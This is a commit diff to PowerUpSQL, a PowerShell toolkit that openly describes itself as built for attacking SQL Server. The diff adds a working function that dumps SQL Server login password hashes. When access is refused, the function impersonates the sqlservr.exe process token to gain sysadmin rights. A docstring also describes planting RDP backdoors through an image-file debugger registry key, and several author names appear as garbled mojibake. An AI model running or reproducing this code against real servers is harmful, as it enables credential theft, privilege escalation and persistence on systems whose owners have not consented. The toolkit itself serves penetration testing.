22<#
33 File: PowerUpSQL.ps1
44 Author: Scott Sutherland (@_nullbind), NetSPI - 2016
5- Contributors: Antti Rantasaari and Eric Gruber
6- Version: 1.0.0.65
5+ Major Contributors: Antti Rantasaari and Eric Gruber
6+ Version: 1.0.0.66
77 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server.
88 License: BSD 3-Clause
99 Required Dependencies: PowerShell v.2
@@ -8900,10 +8900,6 @@ Function Get-ComputerNameFromInstance
89008900}
89018901
89028902
8903- # -------------------------------------------
8904- # Function: Get-SQLServiceLocal
8905- # -------------------------------------------
8906- # Author: Scott Sutherland
89078903Function Get-SQLServiceLocal
89088904{
89098905 <#
@@ -8951,7 +8947,10 @@ Function Get-SQLServiceLocal
89518947 ValueFromPipeline = $true,
89528948 ValueFromPipelineByPropertyName = $true,
89538949 HelpMessage = 'Filter for running services.')]
8954- [switch]$RunOnly
8950+ [switch]$RunOnly,
8951+ [Parameter(Mandatory = $false,
8952+ HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
8953+ [switch]$SuppressVerbose
89558954 )
89568955 Begin
89578956 {
@@ -9037,7 +9036,10 @@ Function Get-SQLServiceLocal
90379036 {
90389037 # Status User
90399038 $LocalInstanceCount = $TblLocalInstances.rows.count
9040- Write-Verbose "$LocalInstanceCount local SQL Server services were found that matched the criteria."
9039+
9040+ if(-not $SuppressVerbose){
9041+ Write-Verbose "$LocalInstanceCount local SQL Server services were found that matched the criteria."
9042+ }
90419043
90429044 # Return data
90439045 $TblLocalInstances
@@ -11088,6 +11090,249 @@ Function Get-SQLRecoverPwAutoLogon
1108811090 $TblWinAutoCreds
1108911091 }
1109011092}
11093+
11094+
11095+ # ----------------------------------
11096+ # Get-SQLServerPasswordHash
11097+ # ----------------------------------
11098+ # Author: Mike Manzotti (@mmanzo_)
11099+ Function Get-SQLServerPasswordHash
11100+ {
11101+ <#
11102+ .SYNOPSIS
11103+ Returns logins from target SQL Servers.
11104+ .PARAMETER Username
11105+ SQL Server or domain account to authenticate with.
11106+ .PARAMETER Password
11107+ SQL Server or domain account password to authenticate with.
11108+ .PARAMETER Credential
11109+ SQL Server credential.
11110+ .PARAMETER Instance
11111+ SQL Server instance to connection to.
11112+ .PARAMETER PrincipalName
11113+ Pincipal name to filter for.
11114+ .PARAMETER
11115+ Migrate to SQL Server process.
11116+ .EXAMPLE
11117+ PS C:\> Get-SQLServerPasswordHash -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
11118+
11119+ ComputerName : SQLServer1
11120+ Instance : SQLServer1\STANDARDDEV2014
11121+ PrincipalId : 1
11122+ PrincipalName : sa
11123+ PrincipalSid : 7F883D1B...
11124+ PrincipalType : SQL_LOGIN
11125+ CreateDate : 19/03/2017 08:16:57
11126+ DefaultDatabaseName : master
11127+ PasswordHash : 0x0200c8...
11128+ .EXAMPLE
11129+ PS C:\> Get-SQLInstanceLocal | Get-SQLServerPasswordHash -Verbose
11130+ #>
11131+ [CmdletBinding()]
11132+ Param(
11133+ [Parameter(Mandatory = $false,
11134+ ValueFromPipelineByPropertyName = $true,
11135+ HelpMessage = 'SQL Server or domain account to authenticate with.')]
11136+ [string]$Username,
11137+
11138+ [Parameter(Mandatory = $false,
11139+ ValueFromPipelineByPropertyName = $true,
11140+ HelpMessage = 'SQL Server or domain account password to authenticate with.')]
11141+ [string]$Password,
11142+
11143+ [Parameter(Mandatory = $false,
11144+ HelpMessage = 'Windows credentials.')]
11145+ [System.Management.Automation.PSCredential]
11146+ [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
11147+
11148+ [Parameter(Mandatory = $false,
11149+ ValueFromPipelineByPropertyName = $true,
11150+ HelpMessage = 'SQL Server instance to connection to.')]
11151+ [string]$Instance,
11152+
11153+ [Parameter(Mandatory = $false,
11154+ ValueFromPipeline = $true,
11155+ ValueFromPipelineByPropertyName = $true,
11156+ HelpMessage = 'Principal name to filter for.')]
11157+ [string]$PrincipalName,
11158+
11159+ [Parameter(Mandatory = $false,
11160+ HelpMessage = 'Migrate to SQL Server process.')]
11161+ [switch]$Migrate,
11162+
11163+ [Parameter(Mandatory = $false,
11164+ HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
11165+ [switch]$SuppressVerbose
11166+ )
11167+
11168+ Begin
11169+ {
11170+ # Table for output
11171+ $TblPasswordHashes = New-Object -TypeName System.Data.DataTable
11172+ $null = $TblPasswordHashes.Columns.Add('ComputerName')
11173+ $null = $TblPasswordHashes.Columns.Add('Instance')
11174+ $null = $TblPasswordHashes.Columns.Add('PrincipalId')
11175+ $null = $TblPasswordHashes.Columns.Add('PrincipalName')
11176+ $null = $TblPasswordHashes.Columns.Add('PrincipalSid')
11177+ $null = $TblPasswordHashes.Columns.Add('PrincipalType')
11178+ $null = $TblPasswordHashes.Columns.Add('CreateDate')
11179+ $null = $TblPasswordHashes.Columns.Add('DefaultDatabaseName')
11180+ $null = $TblPasswordHashes.Columns.Add('PasswordHash')
11181+
11182+ # Setup CredentialName filter
11183+ if($PrincipalName)
11184+ {
11185+ $PrincipalNameFilter = " and name like '$PrincipalName'"
11186+ }
11187+ else
11188+ {
11189+ $PrincipalNameFilter = ''
11190+ }
11191+ }
11192+
11193+ Process
11194+ {
11195+ # Note: Tables queried by this function typically require sysadmin privileges.
11196+
11197+ # Parse computer name from the instance
11198+ $ComputerName = Get-ComputerNameFromInstance -Instance $Instance
11199+
11200+ # Default connection to local default instance
11201+ if(-not $Instance)
11202+ {
11203+ $Instance = $env:COMPUTERNAME
11204+ }
11205+
11206+ # Test connection to instance
11207+ $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
11208+ $_.Status -eq 'Accessible'
11209+ }
11210+
11211+ if($TestConnection)
11212+ {
11213+ if( -not $SuppressVerbose)
11214+ {
11215+ Write-Verbose -Message "$Instance : Connection Success."
11216+ }
11217+ }else{
11218+ if( -not $SuppressVerbose)
11219+ {
11220+ Write-Verbose -Message "$Instance : Connection Failed."
11221+ }
11222+
11223+ # If the migrate flag is set dont't return and attempt to migrate
11224+ if($Migrate)
11225+ {
11226+ Write-Verbose -Message "$Instance : Attempting to impersonate SQL Server process..."
11227+ [int]$TargetPid = Get-SQLServiceLocal -SuppressVerbose -instance $Instance -RunOnly | Where-Object {$_.ServicePath -like "*sqlservr.exe*"} | Select-Object ServiceProcessId -ExpandProperty ServiceProcessId
11228+ if ($TargetPid -eq 0){
11229+ Write-Verbose -Message "$Instance : No process running for provided instance..."
11230+ return
11231+ }
11232+ Write-Verbose -Message "$Instance : Targeting process id $TargetPid..."
11233+ Get-Process | Where-Object {$_.id -like $TargetPid} | Invoke-TokenManipulation -Instance $Instance -ImpersonateUser | Out-Null
11234+ }else{
11235+ return
11236+ }
11237+ }
11238+
11239+ # Get sysadmin status
11240+ $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
11241+
11242+ if($IsSysadmin -eq 'Yes')
11243+ {
11244+ Write-Verbose -Message "$Instance : You are a sysadmin."
11245+ }
11246+ else
11247+ {
11248+ Write-Verbose -Message "$Instance : You are not a sysadmin."
11249+ if($Migrate)
11250+ {
11251+ Write-Verbose -Message "$Instance : Attempting to impersonate SQL Server process..."
11252+ [int]$TargetPid = Get-SQLServiceLocal -SuppressVerbose -instance $Instance -RunOnly | Where-Object {$_.ServicePath -like "*sqlservr.exe*"} | Select-Object ServiceProcessId -ExpandProperty ServiceProcessId
11253+ Write-Verbose -Message "$Instance : Targeting process id $TargetPid..."
11254+ Get-Process | Where-Object {$_.id -like $TargetPid} | Invoke-TokenManipulation -Instance $Instance -ImpersonateUser | Out-Null
11255+ }
11256+
11257+ }
11258+
11259+ # Check version
11260+ $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber
11261+ if($SQLVersionFull)
11262+ {
11263+ $SQLVersionShort = $SQLVersionFull.Split('.')[0]
11264+ }
11265+
11266+ if([int]$SQLVersionShort -le 8)
11267+ {
11268+
11269+ # Define Query
11270+ $Query = "USE master;
11271+ SELECT '$ComputerName' as [ComputerName],'$Instance' as [Instance],
11272+ name as [PrincipalName],
11273+ createdate as [CreateDate],
11274+ dbname as [DefaultDatabaseName],
11275+ password as [PasswordHash]
11276+ FROM [sysxlogins]"
11277+ }
11278+ else
11279+ {
11280+ # Define Query
11281+ $Query = "USE master;
11282+ SELECT '$ComputerName' as [ComputerName],'$Instance' as [Instance],
11283+ name as [PrincipalName],
11284+ principal_id as [PrincipalId],
11285+ type_desc as [PrincipalType],
11286+ sid as [PrincipalSid],
11287+ create_date as [CreateDate],
11288+ default_database_name as [DefaultDatabaseName],
11289+ [sys].fn_varbintohexstr(password_hash) as [PasswordHash]
11290+ FROM [sys].[sql_logins]"
11291+ }
11292+
11293+ # Execute Query
11294+ $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
11295+
11296+ # Update sid formatting for each record
11297+ $TblResults |
11298+ ForEach-Object -Process {
11299+ # Format principal sid
11300+ $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
11301+ if ($NewSid.length -le 10)
11302+ {
11303+ $Sid = [Convert]::ToInt32($NewSid,16)
11304+ }
11305+ else
11306+ {
11307+ $Sid = $NewSid
11308+ }
11309+
11310+ # Add results to table
11311+ $null = $TblPasswordHashes.Rows.Add(
11312+ [string]$_.ComputerName,
11313+ [string]$_.Instance,
11314+ [string]$_.PrincipalId,
11315+ [string]$_.PrincipalName,
11316+ $Sid,
11317+ [string]$_.PrincipalType,
11318+ $_.CreateDate,
11319+ [string]$_.DefaultDatabaseName,
11320+ [string]$_.PasswordHash)
11321+ }
11322+
11323+ # Revert to original user context
11324+ if($Migrate){
11325+ Invoke-TokenManipulation -RevToSelf | Out-Null
11326+ }
11327+ }
11328+
11329+ End
11330+ {
11331+ # Return data
11332+ $TblPasswordHashes
11333+ }
11334+ }
11335+
1109111336#endregion
1109211337
1109311338#########################################################################
@@ -11301,7 +11546,7 @@ Function Get-SQLPersistRegDebugger
1130111546 .SYNOPSIS
1130211547 This function uses xp_regwrite to configure a debugger for a provided
1130311548 executable (utilman.exe by default), which will run another provided
11304- executable (cmd.exe by default) when itâ €℠¢s called. It is commonly used
11549+ executable (cmd.exe by default) when itââ ‚¬â„ ¢s called. It is commonly used
1130511550 to create RDP backdoors. The specific registry key is
1130611551 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options[EXE].
1130711552 Sysadmin privileges are required.
@@ -15947,7 +16192,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1594716192
1594816193 [Parameter(ParameterSetName = "CreateProcess")]
1594916194 [Switch]
15950- $PassThru
16195+ $PassThru,
16196+
16197+ [Parameter(Mandatory = $false,ValueFromPipelineByPropertyName = $true,
16198+ HelpMessage = 'SQL Server instance to connection to.')]
16199+ [string]$Instance
1595116200 )
1595216201
1595316202 Set-StrictMode -Version 2
@@ -16837,7 +17086,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1683717086 }
1683817087 else
1683917088 {
16840- Write-Verbose "Successfully queried thread token"
17089+ if($Instance){
17090+ Write-Verbose "$Instance : Successfully queried thread token"
17091+ }else{
17092+ Write-Verbose "Successfully queried thread token"
17093+ }
1684117094 }
1684217095
1684317096 #Close the handle to hThread (the thread handle)
@@ -17562,7 +17815,12 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke
1756217815 if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id)
1756317816 {
1756417817 $hToken = $Token.hToken
17565- Write-Verbose "Selecting token by Process object"
17818+
17819+ if($Instance){
17820+ Write-Verbose "$Instance : Selecting token by Process object"
17821+ }else{
17822+ Write-Verbose "Selecting token by Process object"
17823+ }
1756617824 }
1756717825 }
1756817826
@@ -17646,7 +17904,7 @@ function Test-IsLuhnValid
1764617904 .OUTPUTS
1764717905 System.Boolean
1764817906 .NOTES
17649- Author: Ãˊ“YVIND KALLSTAD
17907+ Author: ÃƆ™Ãƒâ€¹Ã…“YVIND KALLSTAD
1765017908 Date: 19.02.2016
1765117909 Version: 1.0
1765217910 Dependencies: Get-LuhnCheckSum, ConvertTo-Digits
@@ -17681,7 +17939,7 @@ function Test-IsLuhnValid
1768117939# -------------------------------------------
1768217940# Function: ConvertTo-Digits
1768317941# -------------------------------------------
17684- # Author: Ãˊ“YVIND KALLSTAD
17942+ # Author: ÃƆ™Ãƒâ€¹Ã…“YVIND KALLSTAD
1768517943# Source: https://communary.net/2016/02/19/the-luhn-algorithm/
1768617944function ConvertTo-Digits
1768717945{
@@ -17698,7 +17956,7 @@ function ConvertTo-Digits
1769817956 https://communary.wordpress.com/
1769917957 https://github.com/gravejester/Communary.ToolBox
1770017958 .NOTES
17701- Author: Ãˊ“YVIND KALLSTAD
17959+ Author: ÃƆ™Ãƒâ€¹Ã…“YVIND KALLSTAD
1770217960 Date: 09.05.2015
1770317961 Version: 1.0
1770417962 #>
0 commit comments